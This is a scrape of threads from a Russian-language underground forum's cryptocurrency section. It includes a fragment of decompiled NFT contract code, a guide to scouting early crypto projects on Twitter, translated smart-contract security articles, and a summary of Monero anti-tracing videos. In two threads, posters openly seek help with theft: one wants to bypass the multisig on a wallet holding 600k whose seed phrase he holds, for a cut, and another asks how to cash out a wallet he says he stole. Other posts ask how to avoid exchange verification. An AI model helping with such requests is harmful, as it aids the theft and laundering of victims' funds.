  if ceil32(stor0.length.field_1) > stor0.length.field_1:
      mem[ceil32(stor0.length.field_1) + stor0.length.field_1 + 192] = 0
  return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]),

def symbol() payable:
  if bool(stor1.length):
      if bool(stor1.length) == stor1.length.field_1 < 32:
          revert with 'NH{q', 34
      if bool(stor1.length):
          if bool(stor1.length) == stor1.length.field_1 < 32:
              revert with 'NH{q', 34
          if stor1.length.field_1:
              if 31 < stor1.length.field_1:
                  mem[128] = uint256(stor1.field_0)
                  idx = 128
                  s = 0
                  while stor1.length.field_1 + 96 > idx:
                      mem[idx + 32] = stor1[s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue
                  return Array(len=2 * Mask(256, -1, stor1.length.field_1), data=mem[128 len ceil32(stor1.length.field_1)])
              mem[128] = 256 * stor1.length.field_8
      else:
          if bool(stor1.length) == stor1.length.field_1 < 32:
              revert with 'NH{q', 34
          if stor1.length.field_1:
              if 31 < stor1.length.field_1:
                  mem[128] = uint256(stor1.field_0)
                  idx = 128
                  s = 0
                  while stor1.length.field_1 + 96 > idx:
                      mem[idx + 32] = stor1[s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue
                  return Array(len=2 * Mask(256, -1, stor1.length.field_1), data=mem[128 len ceil32(stor1.length.field_1)])
              mem[128] = 256 * stor1.length.field_8
      mem[ceil32(stor1.length.field_1) + 192 len ceil32(stor1.length.field_1)] = mem[128 len ceil32(stor1.length.field_1)]
      if ceil32(stor1.length.field_1) > stor1.length.field_1:
          mem[ceil32(stor1.length.field_1) + stor1.length.field_1 + 192] = 0
      return Array(len=2 * Mask(256, -1, stor1.length.field_1), data=mem[128 len ceil32(stor1.length.field_1)], mem[(2 * ceil32(stor1.length.field_1)) + 192 len 2 * ceil32(stor1.length.field_1)]),
  if bool(stor1.length) == stor1.length.field_1 < 32:
      revert with 'NH{q', 34
  if bool(stor1.length):
      if bool(stor1.length) == stor1.length.field_1 < 32:
          revert with 'NH{q', 34
      if stor1.length.field_1:
          if 31 < stor1.length.field_1:
              mem[128] = uint256(stor1.field_0)
              idx = 128
              s = 0
              while stor1.length.field_1 + 96 > idx:
                  mem[idx + 32] = stor1[s].field_256
                  idx = idx + 32
                  s = s + 1
                  continue
              return Array(len=stor1.length % 128, data=mem[128 len ceil32(stor1.length.field_1)])
          mem[128] = 256 * stor1.length.field_8
  else:
      if bool(stor1.length) == stor1.length.field_1 < 32:
          revert with 'NH{q', 34
      if stor1.length.field_1:
          if 31 < stor1.length.field_1:
              mem[128] = uint256(stor1.field_0)
              idx = 128
              s = 0
              while stor1.length.field_1 + 96 > idx:
                  mem[idx + 32] = stor1[s].field_256
                  idx = idx + 32
                  s = s + 1
                  continue
              return Array(len=stor1.length % 128, data=mem[128 len ceil32(stor1.length.field_1)])
          mem[128] = 256 * stor1.length.field_8
  mem[ceil32(stor1.length.field_1) + 192 len ceil32(stor1.length.field_1)] = mem[128 len ceil32(stor1.length.field_1)]
  if ceil32(stor1.length.field_1) > stor1.length.field_1:
      mem[ceil32(stor1.length.field_1) + stor1.length.field_1 + 192] = 0
  return Array(len=stor1.length % 128, data=mem[128 len ceil32(stor1.length.field_1)], mem[(2 * ceil32(stor1.length.field_1)) + 192 len 2 * ceil32(stor1.length.field_1)]),

def tokenURI(uint256 _tokenId) payable:
  require calldata.size - 4 >=′ 32
  require _tokenId == _tokenId
  if not ownerOf[_tokenId]:
      revert with 0, 'ERC721: invalid token ID'
  if stor6[_tokenId].field_0:
      if stor6[_tokenId].field_0 == stor6[_tokenId].field_1 < 32:
          revert with 'NH{q', 34
      if stor6[_tokenId].field_0:
          if stor6[_tokenId].field_0 == stor6[_tokenId].field_1 < 32:
              revert with 'NH{q', 34
          if stor6[_tokenId].field_1:
              if 31 < stor6[_tokenId].field_1:
                  idx = 128
                  s = 0
                  while stor6[_tokenId].field_1 + 96 > idx:
                      mem[idx + 32] = stor6[_tokenId][s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue
               
              mem[128] = 256 * stor6[_tokenId].field_8
      else:
          if stor6[_tokenId].field_0 == stor6[_tokenId].field_1 < 32:
              revert with 'NH{q', 34
          if stor6[_tokenId].field_1:
              if 31 < stor6[_tokenId].field_1:
                  idx = 128
                  s = 0
                  while stor6[_tokenId].field_1 + 96 > idx:
                      mem[idx + 32] = stor6[_tokenId][s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue
                 mem[128] = 256 * stor6[_tokenId].field_8
      mem[ceil32(stor6[_tokenId].field_1) + 224 len ceil32(stor6[_tokenId].field_1)] = mem[128 len ceil32(stor6[_tokenId].field_1)]
      if ceil32(stor6[_tokenId].field_1) > stor6[_tokenId].field_1:
          mem[ceil32(stor6[_tokenId].field_1) + stor6[_tokenId].field_1 + 224] = 0
      return Array(len=2 * Mask(256, -1, stor6[_tokenId].field_1), data=mem[128 len ceil32(stor6[_tokenId].field_1)], mem[(2 * ceil32(stor6[_tokenId].field_1)) + 224 len 2 * ceil32(stor6[_tokenId].field_1)]),
  if stor6[_tokenId].field_0 == stor6[_tokenId].field_1 < 32:
      revert with 'NH{q', 34
  if stor6[_tokenId].field_0:
      if stor6[_tokenId].field_0 == stor6[_tokenId].field_1 < 32:
          revert with 'NH{q', 34
      if stor6[_tokenId].field_1:
          if 31 < stor6[_tokenId].field_1:
              idx = 128
              s = 0
              while stor6[_tokenId].field_1 + 96 > idx:
                  mem[idx + 32] = stor6[_tokenId][s].field_256
                  idx = idx + 32
                  s = s + 1
                  continue
            
          mem[128] = 256 * stor6[_tokenId].field_8
  else:
      if stor6[_tokenId].field_0 == stor6[_tokenId].field_1 < 32:
          revert with 'NH{q', 34
      if stor6[_tokenId].field_1:
          if 31 < stor6[_tokenId].field_1:
              idx = 128
              s = 0
              while stor6[_tokenId].field_1 + 96 > idx:
                  mem[idx + 32] = stor6[_tokenId][s].field_256
                  idx = idx + 32
                  s = s + 1
                  continue
           
          mem[128] = 256 * stor6[_tokenId].field_8
  mem[ceil32(stor6[_tokenId].field_1) + 224 len ceil32(stor6[_tokenId].field_1)] = mem[128 len ceil32(stor6[_tokenId].field_1)]
  if ceil32(stor6[_tokenId].field_1) > stor6[_tokenId].field_1:
      mem[ceil32(stor6[_tokenId].field_1) + stor6[_tokenId].field_1 + 224] = 0
  return Array(len=stor6[_tokenId].field_0, data=mem[128 len ceil32(stor6[_tokenId].field_1)], mem[(2 * ceil32(stor6[_tokenId].field_1)) + 224 len 2 * ceil32(stor6[_tokenId].field_1)]),

Как же хорошо, что моя бабушка в детстве говорила мне - Jolah, внучек - учи python, python - в жизни пригодится. Пригодился
Дальше мы с бабулиными наставления и желанием понять кто же kill my best friend Karl пошли в OpenSea, как видно из декомпилированного кода это nft токен
Снимок экрана от 2022-09-10 22-28-14.png

Ну теперь понятно, что Карла убила ЛЮБОВЬ!!! девочки-булочки) а не отсутствие .sol в etherscan.io / коими он питается.
НО! Постойте, нахрен им писать контракт деплоить его на etherscan.io , не ужто чтобы посмотреть как цифирки сменяют одну другой на экране монитора???
Ответ прост и кроется в этом моем посте --> https://xss.is/threads/72996/ а дальше думайте сами, стоит ли покупать смарт контракт не понимая что в нем написано или вообще с отсутствием .sol файла в etherscan или другом обозревателе.

$10 на gas для Jolah Molivski ---> 0x69946dD429030F8E74b3B8eB092542d09BdeD3ed

Помогите опознать кошелек.
ID: 67686ad7b4103b69df379a10
Thread ID: 53341
Created: 2021-06-26T11:38:28+0000
Last Post: 2021-07-02T22:13:17+0000
Author: Supermaxout
Replies: 7 Views: 911

Поиск крипто проектов
ID: 67686ad7b4103b69df379761
Thread ID: 82536
Created: 2023-02-22T12:06:10+0000
Last Post: 2024-03-20T11:47:27+0000
Author: malloy05
Replies: 2 Views: 908

Поиск крипто проектов​

Поиск проекта обычно имеет универсальный оттенок для всех видов проектов в крипте. Вкратце, одни и те же принципы поиска используются и для NFT, и для DeFi, и для блокчейнов. Найти 90% всех проектов можно одним лишь способом, остальные 10% - более гиковскими. Отдельно остановимся лишь на NFT, где есть немного специфики.90% проектов можно найти, следуя описанным ниже принципам. Здесь мы не будем говорить: "просто подпишись на вот эти телеграм каналы, лол". В тг инфа о новых проектах поступает со значительной задержкой, а зачастую - слишком поздно. Мы пойдем своим путем и разберём следующие способы:

Twitter как инструмент поиска​

Как мы уже рассказали, проекты на самой ранней стадии зарождаются именно в этой социальной сети, а значит там мы и будем искать. Да, инфа на английском. Да, придется постоянно использовать VPN. Да, много бесполезных твитов. Но если хорошенько разобраться, оно того стоит.
Для этого подхода вам не нужно быть каким-то гением, благо, за нас всё будут делать алгоритмы птичьего сайта Илона Маска. Каков принцип поиска через Твиттер?
Шаг 1. Вы создаёте себе аккаунт Twitter
Шаг 2. Подписываетесь на инфлюенсеров, альфа хантеров и других крутых личностей. Вот основные списки, которые мы смогли найти:
NFT

https://twitter.com/pit_the_panda
https://twitter.com/Bardstocks
https://twitter.com/bryanbrybran
https://twitter.com/thesolanasteve
https://twitter.com/sainteclectic
https://twitter.com/frankieblanco99
https://twitter.com/gaius1337
https://twitter.com/DegenEmperor
https://twitter.com/NickyScanz
https://twitter.com/MediaGiraffes
https://twitter.com/Psych0nautiqu3
https://twitter.com/DegenService
https://twitter.com/bryanbrybran
https://twitter.com/degenHFP
https://twitter.com/SCUMSOL
https://twitter.com/585Eth
https://twitter.com/monoliff
https://twitter.com/CryptoSchuster
https://twitter.com/nftsarina
https://twitter.com/PlasmaB1
https://twitter.com/benthebape
https://twitter.com/DegenHaole
https://twitter.com/SOLSourz
https://twitter.com/RealCryptotem
https://twitter.com/SOL_SNATCHER
https://twitter.com/TheOnlyNom
https://twitter.com/SolanaInsiders
https://twitter.com/Sea_Eoh
https://twitter.com/redacted_noah
https://twitter.com/0xBanana
https://twitter.com/CryptoCurb
https://twitter.com/DegenGeo
https://twitter.com/RickGlassman
https://twitter.com/Kenny_Lofton7
https://twitter.com/StayingAlpha
https://twitter.com/DaKleck0
https://twitter.com/insider0x
https://twitter.com/barrelDAO
https://twitter.com/DJTRIXUK
https://twitter.com/knox_trades
https://twitter.com/traderpow
https://twitter.com/danielwagmi
https://twitter.com/BastCrypto
https://twitter.com/adhcrypto
https://twitter.com/HGESOL
https://twitter.com/ArnoldPoernomo
https://twitter.com/salomondrin
https://twitter.com/rea_loretta
https://twitter.com/NfThinks
https://twitter.com/MarcoPolo_so
https://twitter.com/SolsteadsNFT
https://twitter.com/wgmidiot
https://twitter.com/SOLbuckets
https://twitter.com/Zammiko1
https://twitter.com/adam_ape_
https://twitter.com/lawrencetilli
https://twitter.com/rainnen23
https://twitter.com/0xGabriele
https://twitter.com/SolanaLegend
https://twitter.com/The__Solstice
https://twitter.com/NfThinks
https://twitter.com/DegenSwings
https://twitter.com/softmoneyinc
https://twitter.com/IcedKnife
https://twitter.com/General_Sol
https://twitter.com/gloom_sol
https://twitter.com/earlyishadopter
https://twitter.com/ChartFuMonkey
https://twitter.com/doppelNFTs
https://twitter.com/SolanaSensei
https://twitter.com/SOLPlayboy
https://twitter.com/PHILLIP_A_8
https://twitter.com/JagoeCapital
https://twitter.com/Linkkzyy
https://twitter.com/BBPC
https://twitter.com/Jan1kkk
https://twitter.com/humbledoredore
https://twitter.com/kropts
https://twitter.com/dreilord_sol
https://twitter.com/solsniperr

[]1 https://twitter.com/ryandcrypto
2 https://twitter.com/NFTLlama
3 https://twitter.com/CryptoGorillaYT
4 https://twitter.com/Hellequinnn
5 https://twitter.com/CryptoTomYT
6 https://twitter.com/cdixon
7 https://twitter.com/osf_nft
8 https://twitter.com/lesborsai
9 https://twitter.com/CryptoGorillaYT
10 https://twitter.com/itstylersays
11 https://twitter.com/santiagoroel
12 https://twitter.com/NFTPrada
13 https://twitter.com/Jejouw
14 https://twitter.com/KevinSusanto
15 https://twitter.com/NFTSebastian
16 https://twitter.com/SkorgeSp33d
17 https://twitter.com/PopeyesNFTs
18 https://twitter.com/JRNYcrypto
19 https://twitter.com/ColeThereum
20 https://twitter.com/TheShamdoo
21 https://twitter.com/beaniemaxi
22 https://twitter.com/KosherPlu
23 https://twitter.com/3jack23
24 https://twitter.com/keung
25 https://twitter.com/soloandrw_
26 https://twitter.com/kevwuzy
27 https://twitter.com/alexkongz
28 https://twitter.com/KingZero
29 https://twitter.com/CryptoDynoDyno
30 https://twitter.com/dingalingts
31 https://twitter.com/JaysonW84
32 https://twitter.com/orangie
33 https://twitter.com/alisajwanii
34 https://twitter.com/AbsoluteSaltETH
35 https://twitter.com/yongkunn
36 https://twitter.com/clegfx
37 https://twitter.com/0xpyeongyang
38 https://twitter.com/Pants_shh
39 https://twitter.com/shanicucic96
40 https://twitter.com/jaesonma
41 https://twitter.com/heystevetan
42 https://twitter.com/jfx
43 https://twitter.com/eddyiskongz
44 https://twitter.com/seankelly25
45 https://twitter.com/cipcity
46 https://twitter.com/beijingdou
47 https://twitter.com/evantan
48 https://twitter.com/RandyHercules
49 https://twitter.com/kmoney_69
50 https://twitter.com/punk6529
[
]

https://twitter.com/Paradigm
https://twitter.com/FEhrsam
https://twitter.com/matthuang
https://twitter.com/jacksondahl
https://twitter.com/alanapalmedo
https://twitter.com/gakonst
https://twitter.com/arjunblj
https://twitter.com/caseykcaruso
https://twitter.com/mizbani_
https://twitter.com/snmishra311
https://twitter.com/_charlienoyes
https://twitter.com/danrobinson
https://twitter.com/_Dave__White_
https://twitter.com/samczsun
https://twitter.com/_anishagnihotri
https://twitter.com/frankieislost
https://twitter.com/achalvs
https://twitter.com/transmissions11
https://twitter.com/jbsdc
https://twitter.com/jimprosser
https://twitter.com/TylerCrimm
https://twitter.com/williamLberman
https://twitter.com/sourdzl
https://twitter.com/a_kirillo
https://twitter.com/joshephraim
https://twitter.com/sina_eth_
https://twitter.com/rssh273
https://twitter.com/ajtowns
https://twitter.com/ChrisBrummerDr
https://twitter.com/hasufl

a16z​

https://twitter.com/a16z
https://twitter.com/alive_eth
https://twitter.com/AAlbaneseNY
https://twitter.com/ariannasimpson
https://twitter.com/eddylazzarin
https://twitter.com/DarenMatsuoka
https://twitter.com/emiliejayg
https://twitter.com/guywuolletjr
https://twitter.com/_jamico
https://twitter.com/obes00
https://twitter.com/meigga
https://twitter.com/ravmike
https://twitter.com/nassyweazy
https://twitter.com/sriramk
https://twitter.com/smc90

Multicoin​

https://twitter.com/multicoincap
https://twitter.com/KyleSamani
https://twitter.com/TusharJain_
https://twitter.com/mattshap1
https://twitter.com/mable_jiang
https://twitter.com/johnrobertreed
https://twitter.com/xethalis
https://twitter.com/VinnyLingham
https://twitter.com/hay_lance

Хочу заранее предупредить, эти списки не стоят ничего и не принесут вам пользу, если вы не подойдёте к ним осознанно. Вы должны понимать роль каждого аккаунта хотя бы на примитивном уровне, иначе получится каша и в вашей голове, и в вашем аккаунте. Качество > количество, поэтому набирайте свою базу по крупицам и неспеша.

Click to expand...

Шаг 3. Twitter сам станет выдавать вам интересные аккаунты и твиты по теме крипты на главной ленте.
Шаг 4. Полчаса-час активного мониторинга ленты, и вы сможете найти что- нибудь интересное. К примеру, создаете таблицу, куда закидываете все найденные проекты, после чего быстро пробегаетесь по аккаунтам и удаляете наименее качественные.
Алгоритмы Twitter также могут активно помогать в поиске проектов. Как ими пользоваться?
Заходим на любой понравившийся проект, и справа видим такую прекрасную колонку "You might like ", именно здесь вы можете пропасть на пару часов, открывая для себя новые проекты. Рекомендуем.

Более глубокий поиск через Twitter и сторонние сервисы

Что это значит? Мы будем использовать и структурировать публичную информацию из Twitter с помощью различных скриптов и сервисов.
Допустим, мы уже имеем базу из 50 различных альфа хантеров и нужно как-то анализировать их действия (подписки, лайки, ретвиты и подобное). Так вот, мы можем мониторить, какие проекты находятся в их поле зрения. Есть, как минимум, 3 способа сделать это:

1) Мониторим вручную:

Заходим на аккаунт альфа хантера, нажимаем на кнопку "Following" или "Читаемые" и смотрим, на какие проекты подписался наш "подопытный". Сверху - самые свежие подписки, снизу - старые. Выбираем понравившиеся проекты, записываем в табличку и делаем всё то же самое для остальных 49 аккаунтов.

2) Мониторим публичными сервисами:

К примеру, есть такой проект - whotwi, который позволяет собрать аналитику по аккаунту на основе публичных данных, но без каких-либо алертов и сложных настроек. Работать здесь гораздо удобнее чем в самом Твиттере. Пользуйтесь, рекомендую, но... вы все еще будете тратить много времени на анализ и рутинную работу.

3) Мониторим через самописные скрипты:

Вы можете заказать или же сами написать скрипт, который автоматически будет проверять новые подписки у вашей базы альфа хантеров. Делается это несложно, но есть одна проблема - это сам Твиттер :)
Вам придётся найти N-ое количество API ключей Twitter, которые позволят вам парсить новые подписки инфлов. А эта соцсеть настолько любит свой антифрод, что постоянно банит или не даёт получить заветный API ключ. Лично потратил на разработку и поддержку своего бота около 500 долларов, что достаточно немало.
Вот так выглядит моё творение, которое принесло мне много радости и грусти:

4) Еще более умная лента:

Отдельного упоминания стоит инструмент TweetDeck, где можно настроить ленты по своим категориям.

Готовые решения для поиска проектов

Существует несколько тулзов для поиска проектов на самой ранней стадии. Я говорю про Tweetscout.io.
Это гениальная машина, которая позволит вам стать опытным альфа хантером. Каждый день там появляются десятки альфа проектов, задолго до того, как их заметят любые телеграм каналы.
Страница Alpha Projects на TweetScout
Есть одно "но". Конкретно эта функция требует платной подписки. И хотя раздел Alpha Projects уже доказал, что может приносить прибыль, не все могут себе это позволить.
Так как в этой тулзе есть и бесплатные фичи, которые будут полезны для ресерча, подробнее о ней мы расскажем чуть позже.
Для адептов субкультуры "НИКАКОГО С*КА ПЛАТНО" есть отличный твиттер Web3 Alerts. И хотя за полный список выходящих проектов они просят $500 в месяц, в Твиттере постится некоторое количество альфа проектов. Естественно, в разы меньше чем в TweetScout, но это всё ещё бесплатно.
Приватки
И это не обязательно платная приватка от ноунейм канала. КПД поиска проектов (как и последующего ресерча) в таких сообществах уже выше. Но перед тем, как найти реально хорошую группу, вам придётся перепробовать десятки различных DAO, приваток, мирроров и других подобных сообществ.
Это вариант, на самом деле, хорош. Люди любят делиться хорошей информацией "для своих". В криптовалютной карьере я перепробовал около сотни источников приватной информации и могу сделать вывод, что вам хватит нескольких групп, чтобы полноценно получать инфу. К примеру:

* **0xVasyaScout** \- информация про ранние проекты.
* **RetroFucker Lenya** \- информация про различные ретродропы и способы их замультиачить.
* **Fundament DAO** \- информация о том, какие фундаментальные проекты актуальные и подробные инструкции к участию.
* **Lepeshka subDAO** \- приватный софт для минта различных NFT коллекций.
* Не нужно гоняться за количеством и постоянно заявлять о том, что вы сидите в 100 приватках. Наоборот, пытайтесь минимизировать количество информации. Мозг будет тратить очень много энергии лишь на обработку данных, а на реальные действия и вовсе не останется мыслетоплива.  


* Стоит повториться, приватка - это не обязательно платно. Можете найти нескольких смышленых ребят в каком-нибудь чатике и объединиться с ними, чтобы выносить с рынка максимальную прибыль при разделении обязанностей. **Это работает!**  

Дополнения по поиску NFT проектов

NFT имеет немного другой оттенок при поиске проектов, и мы решили выделить это отдельный подпунктом.

Альфа-группы в дискорде

Это более высокий уровень пилотажа среди рек говна.
Альфа группы обычно представляют из себя закрытое сообщество, где контент и общение исключительно на английском. Считается, что представители зарубежных альфа групп гораздо продвинутее своих их конкурентов из СНГ приваток. Попасть в них зачастую невозможно даже за деньги, но среди платных полу-закрытых комьюнити есть 2 основных типа оплаты: ежемесячное ревенью, либо же покупка и холд NFT. Обычно альфа группы выбирают второй вариант.
Лично я, пиражок, перепробовал многое и на данный момент остановился на трёх альфу группах, где мне нравится комьюнити, альфа и утилити. Как говорится,...

"Чтобы стать мудрым, достаточно прочитать 10 книг. Но чтобы найти их, нужно прочитать тысячу."

Click to expand...

Этот вариант для самых изощренных ресерчеров. Информация до ютуба доходит намного дольше, чем до остальных, ведь на создание более-менее качественного видео нужно намного больше времени, чем на написание поста. Да и честно говоря, я ни разу не видел более-менее адекватного ресерча NFT от ютубера. Но фишка ютуба как раз в хорошей визуализации. Видео с обзором NFT-коллекций нужны больше для общего развития и для ретроспективного анализа.
Выделить для примера могу Giancarlo buys tokens, где парень делает подборки хайповых минтов и рассказывает про различные меты внутри NFT, и канал ZenAcademy, где Zeneca, один из топов в индустрии NFT, снимает различные подкасты и интервью с крупными участниками NFT-рынка.
Ах да, весь контент вы должны потреблять на английском языке, поэтому не забываем про его изучение, либо можете использовать различные [автопереводчики](https://chrome.google.com/webstore/detail/language- reactor/hoombieeljmmljlkjmnheibnpciblicm/related) видео.

Tronlink, отключить мультиподпись.
ID: 67686ad7b4103b69df3796f3
Thread ID: 120301
Created: 2024-08-06T11:15:08+0000
Last Post: 2024-08-07T15:52:05+0000
Author: Sistem-kro
Replies: 7 Views: 907

есть доступ в кошелек. 12 сид фраз, пароль. Баланс. для вывода подключена мультиподпись ( одобрение транзакции с другого кошелька). доступа ко второму кеошельку нет.
необходимо отключить мультиподпись. кто сталкивался с подобным? какие есть решения? Готов поработать под %, если есть варианты решения вопроса. баланс 600к

BTC TRADE WALLET
ID: 67686ad7b4103b69df379a39
Thread ID: 48242
Created: 2021-02-17T16:41:43+0000
Last Post: 2021-02-17T20:44:32+0000
Author: wade1337
Replies: 1 Views: 906

кароче застилил btc trade wallet на blockchain

баланс 1200$

но не обменять не вывести их никак нельзя, кошель толи в блоке, то ли акк нужно подтвержать, можно с ним что то сделать?(с аккаунтом)

Spoiler: скрины

ibb.co

photo-2021-02-16-14-22-34 hosted at ImgBB

Image photo-2021-02-16-14-22-34 hosted in ImgBB

ibb.co ibb.co

ibb.co

photo-2021-02-16-14-41-10 hosted at ImgBB

Image photo-2021-02-16-14-41-10 hosted in ImgBB

ibb.co ibb.co

ibb.co

photo-2021-02-16-16-07-43 hosted at ImgBB

Image photo-2021-02-16-16-07-43 hosted in ImgBB

ibb.co ibb.co

подскажите адекватные майнеры
ID: 67686ad7b4103b69df3799aa
Thread ID: 55661
Created: 2021-08-21T19:28:03+0000
Last Post: 2022-01-16T15:18:56+0000
Author: DarkWorld
Replies: 7 Views: 905

в шапке вопрос, буду благодарен

Обменники на bestchange
ID: 67686ad7b4103b69df379771
Thread ID: 110062
Created: 2024-03-09T19:01:09+0000
Last Post: 2024-03-10T12:35:12+0000
Author: student
Replies: 12 Views: 904

Вот есть два направления
btc --> usdt erc-20
btc --> usdt trc-20
Почему чтобы совершить обмен на erc-20 нужна сумма в разы больше, чем на trc-20? Это связано с сетевой комиссией?

И еще один вопрос. Как правило от какой суммы запрашивают вериф/проверку откуда средства получены и тому подобное?. Я обычно меняю не более 1500$ за операцию, у меня чистая крипта, но все равно волнуюсь больше менять. Думаю вдруг запросят вериф. А на форумных обменниках конская комиссия 3%-5% не хочется дарить.

Что такое гибридный смарт-контракт
ID: 67686ad7b4103b69df37990e
Thread ID: 72515
Created: 2022-09-01T05:46:27+0000
Last Post: 2022-09-01T05:46:27+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 902

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://smartstatetech.medium.com/what-is-hybrid-smart- contract-4acacaeb782f)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
Шекелей пачку Jolah Molivski

1662009908555.png

В работе аудитора смарт-контрактов есть ряд концепций, которые трудно понять со стороны. Одной из таких концепций является гибридный смарт-контракт.

Что такое гибридный смарт-контракт? ​

Гибридный смарт-контракт (ГСК) представляет собой комбинацию кода, работающего в блокчейне (другими словами, «в сети»), с данными и вычислениями извне блокчейна (иными словами, «вне сети»), предоставляемыми децентрализованными сетями Oracle (DON). Такие контракты поддерживают формы координации, которые обладают свойствами блокчейна, но одновременно используют избранные наиболее безопасные функции автономных служб оракула для достижения новых возможностей, таких как повышенная масштабируемость или справедливость заказов.

Состав ГСК ​

Гибридный смарт-контракт состоит из двух частей: смарт-контракта как такового / фрагмент кода, работающий в блокчейне / и децентрализованной сети оракулов (сервис вне сети, поддерживающий этот смарт-контракт). Взаимодействуя друг с другом, они образуют уникальное приложение, в котором блокончейн-коду предоставляются новые возможности, к которым он обычно не имеет доступа из-за технических или других ограничений.

1662009978216.png

Гибридные смарт-контракты нацелены на синхронизацию двух достаточно разных сред для создания нового, продвинутого приложения, сочетающего возможности блокчейна и сети оракулов, для решения задач, которые ни одна из них не смогла бы решить самостоятельно. из-за отсутствия некоторых особенностей. Блокчей-код работает в своей собственной среде, защищен от нежелательных изменений, но имеет ограниченную функциональность, в то время как DON работают вне цепочки, обеспечивая необходимую гибкость.

Комбинация вычислений On-Chain и Off-Chain. Как это работает? ​

On-chain:

Off-chain**:**

Роль ГСК в мировой индустрии ​

ГСК демонстрируют надежное и эффективное сотрудничество между различными частями глобальной сети и позволяют внешним инфраструктурам подключаться к блокчейнам без каких-либо внутренних изменений. Они также обеспечивают хороший старт для новых уникальных вариантов использования, среди которых децентрализованное упорядочение транзакций, и создают прецедент экономической справедливости и прозрачности. ГСК уже используется во многих отраслях, включая финансы, цепочки поставок, страхование, азартные игры, маркетинг и другие.

Варианты использования гибридных смарт-контрактов​

Существует множество способов использования ГСК. Гибридные смарт-контракты с возможностью комбинировать внутри и вне сети, полезны в различных областях, таких как:

Как правильно использовать Monero
ID: 67686ad7b4103b69df37967f
Thread ID: 127101
Created: 2024-11-17T20:54:01+0000
Last Post: 2024-11-30T09:32:49+0000
Author: jaskolka
Prefix: Видео
Replies: 4 Views: 898

P.S. Не я автор, и никакого отношения к автору не имею

Видео снимались на широкую аудиторию, поэтому старался очень подробно разжевать насколько это возможно материал, вполне приемлемо смотреть на скорости х1.5 - x2.

Это вполне себе перезапуск темы https://xss.is/threads/115610/, только с большей визуализаций и вдаваясь в подробности каждой возможной известной атаки на конфиденциальность XMR.

Снимаю видео когда есть время и желания, на данный момент снято 3 выпуска ссылки на которые указал внизу.

Первая часть вступительная, рассказываю про кошельки для Monero, среди которых выделяю Feather, из-за того что он лучше всего работает с узлами в сети Tor, показываю как добавить узел в настройках и рассказываю и наглядно показываю где применяются стелс-адреса (Stealth Addresses), где находится и применяется кольцевая подпись (RingCT), и как это все вместе работает в одном едином блокчейне. Также в конце видео показывается неочевидную для многих ошибку, при которой с большой вероятностью отслеживаются транзакции (речь о том, что нельзя тратить сразу те XMR, которые мы только что получили, т.к. в кольцевой подписи это очень сильно выделяется и бросается в глаза) и конкретную рекомендацию по минимальному времени ожиданию перед совершением тратой. Все это наглядно показывается в видео в блокчейне на конкретных транзакциях.

ч.1

Во второй части дополняю первую, и рассказываю о том, что стелс-адреса в последствие попадают в чужие транзакции в виде приманок, что сильно обеспечивает анонимность, и про эффективный метод отслеживания транзакций - отравленные выходы и совместные расходы. Тут речь идет о истории когда злоумышленники несколько транзакций отправляют на 1 кошелек или несколько кошельков, и вот когда вы будете тратить эти XMR, если вы будете не осторожны то можете потратить все входы за один раз, и таким образом создаете транзакцию в которую попадают все те меченые "отравленные" выходы. В видео на примере я показал транзакцию в которую было включено сразу 6 стелс-адресов в 6 кольцевых подписях, что для стороннего наблюдателя является очевидным фактом траты отслеживаемых выходов (транзакций). Конечно же даю рекомендации по противодействию - это консолидация (объединение) всех выходов (стелс-адресов) в один и после через несколько дней еще раз нужно переслать на другой кошелек, и лучше будет если вы еще раз это сделаете и только после можно тратить.

ч.2

В третьей части затрагиваю тему второго видео и дополняю тем, что нужно помнить про "сдачу", которая может по неосторожности попасть в нашу транзакцию, тем самым мы можем повторить ошибку описанную в втором видео и спалить нашу трату. Основная тема видео Атака EABE/EAE (Eve-Alice-Bob-Eve), сложная в понимании атака, которая на самом деле очень и очень эффективна. Настолько эффективна, что даже если вы принимаете на разные кошельки, на разные адреса XMR, консолидируете, делите объемы, ждете много-много времени, много раз микшуете свои транзы это все равно не спасает от этой атаки. Основная уязвимость атаки это пересечения с CEX биржами, так как CEX биржи раз в квартал выгружают все свои XMR транзы в CSV всяким злоумышленникам, которые в этих транзах будут искать возможные траты ваших транз, и если пересекаются несколько раз такие траты на одном акке CEX биржи, то тут приехали.

ч.3

Третья часть не финал, конечно будут и другие, пока выложил на xss то что уже есть.

Знаю что многие любят читать в виде статьи, а не смотреть видео, и как дойдут руки я обязательно сделаю статью.

bio said:

что-то я запутался :)

Click to expand...

Whisper said:

Тоже, визуализации нехватает.

Click to expand...

Лучшие практики безопасности смарт-контрактов
ID: 67686ad7b4103b69df379910
Thread ID: 72396
Created: 2022-08-29T17:40:04+0000
Last Post: 2022-08-29T17:40:04+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 898

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://infosecwriteups.com/smart-contract-security- best-practices-part-1-c35b640ee2ff)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
Шекелей пачку Jolah Molivski

1661794832346.png

Привет всем, надеюсь, у вас все хорошо. Сегодня мы рассмотрим безопасность смарт-контрактов, о чем должен знать каждый разработчик перед созданием смарт- контракта. Смарт-контракты — это фрагменты кода, которые работают на блокчейне и обрабатывают миллионы долларов. Простая ошибка может привести к потере миллиона долларов. Чтобы избежать этого, сегодня мы узнаем о лучших практиках безопасности.

Изменение состояния должно быть выполнено перед внешними вызовами:

Согласно Consensys, «если вы вызываете ненадежный внешний контракт, избегайте изменения состояния после вызова ». Чтобы лучше понять это, давайте взглянем на уязвимый код.

1661794879482.png

Вышеупомянутый контракт имеет две функции, а именно депозит и снятие средств. Представьте, что это банк. Пользователи могут вносить свои деньги, а также могут снимать их.

Проблема здесь в том, что не реализована проверка того, достаточно ли у пользователя денег для вывода или нет.

Второй может быть использование .call() функции. Это может открыть возможность повторной атаки. Обратите внимание, что .call() ничего не делает для смягчения повторных атак, поэтому необходимо принять другие меры предосторожности.
Третьим недостатком может быть обновление баланса после перевода суммы вызывающему.

